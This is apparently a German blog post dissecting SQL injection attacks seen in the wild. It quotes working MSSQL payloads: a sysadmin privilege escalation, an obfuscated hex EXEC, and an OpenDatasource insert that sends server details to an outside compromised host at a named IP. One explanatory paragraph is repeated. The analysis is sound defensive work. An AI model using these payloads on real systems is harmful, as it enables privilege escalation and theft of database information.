SQL-Injection, ‘ OR 1=1 ist für Anfänger!
Neben dem im letzten Post erwähnten SQL-Befehl, der dafür zuständig ist den Inhalt aller Textfelder in einer Datenbank um bestimmten JavaScript-Code zu erweitern, konnte ich weitere interessante Vorgehensweisen beobachten:
Damit wird versucht den aktuellen Nutzer der Rolle "sysadmin" hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere Befehle geschaffen werden.
Die nachfolgende SQL-Injection ist aber mit Abstand die interessanteste. Hier wird eine Verbindung zu einem kompromitieren SQL-Server aufgebaut, dieser Server ist noch online und hostet den Online-Shop (6cang.com). Das Passwort habe ich hier verschleiert. Die Tabelle _t_basicinfo gehört auch nicht zum Standardrepertoire der master Tabelle vom MSSQL-Server. Das könnte man als sogenanntes Silent-SQL-Injection prägen, immerhin merkt der angegriffene erstmal nichts von der Attacke. Die Angreifer sammeln automatisiert (sqlmap) potenzielle Opfer und widmen sich diesen dann ausgiebiger. Sehr clever. Blöd natürlich das das Passwort in der Attacke auftaucht, verbreitet sich dieser Befehl im Internet, könnte der Admin leicht ins schwitzen geraten. Meine Kontaktversuche mit 6cang.com waren nicht erfolgreich.
- ';declare @moo varchar(50); set @moo = (select SYSTEM_USER);exec master.dbo.sp_addsrvrolemember @moo, 'sysadmin'--
Damit wird versucht den aktuellen Nutzer der Rolle "sysadmin" hinzuzufügen, damit soll wahrscheinlich die Grundlage für weitere Befehle geschaffen werden.
Die nachfolgende SQL-Injection ist aber mit Abstand die interessanteste. Hier wird eine Verbindung zu einem kompromitieren SQL-Server aufgebaut, dieser Server ist noch online und hostet den Online-Shop (6cang.com). Das Passwort habe ich hier verschleiert. Die Tabelle _t_basicinfo gehört auch nicht zum Standardrepertoire der master Tabelle vom MSSQL-Server. Das könnte man als sogenanntes Silent-SQL-Injection prägen, immerhin merkt der angegriffene erstmal nichts von der Attacke. Die Angreifer sammeln automatisiert (sqlmap) potenzielle Opfer und widmen sich diesen dann ausgiebiger. Sehr clever. Blöd natürlich das das Passwort in der Attacke auftaucht, verbreitet sich dieser Befehl im Internet, könnte der Admin leicht ins schwitzen geraten. Meine Kontaktversuche mit 6cang.com waren nicht erfolgreich.
- ;dEcLaRe @s vArChAr(8000) sEt @s=0x20496....d2d eXeC(@s) --
- INSERT INTO OpenDatasource('sqloledb','Data Source=222.35.142.45,1433;Network Library=DBMSSOCN;Initial Catalog=master;
- User ID=sa;Password=XXXXXXXXX;').master.dbo._t_basicinfo
- SELECT dB_nAME(),uSER,@@vERSION,@@sERVERnAME,@@sERVICEnAME,sYSTEM_uSER,gETDATE()--





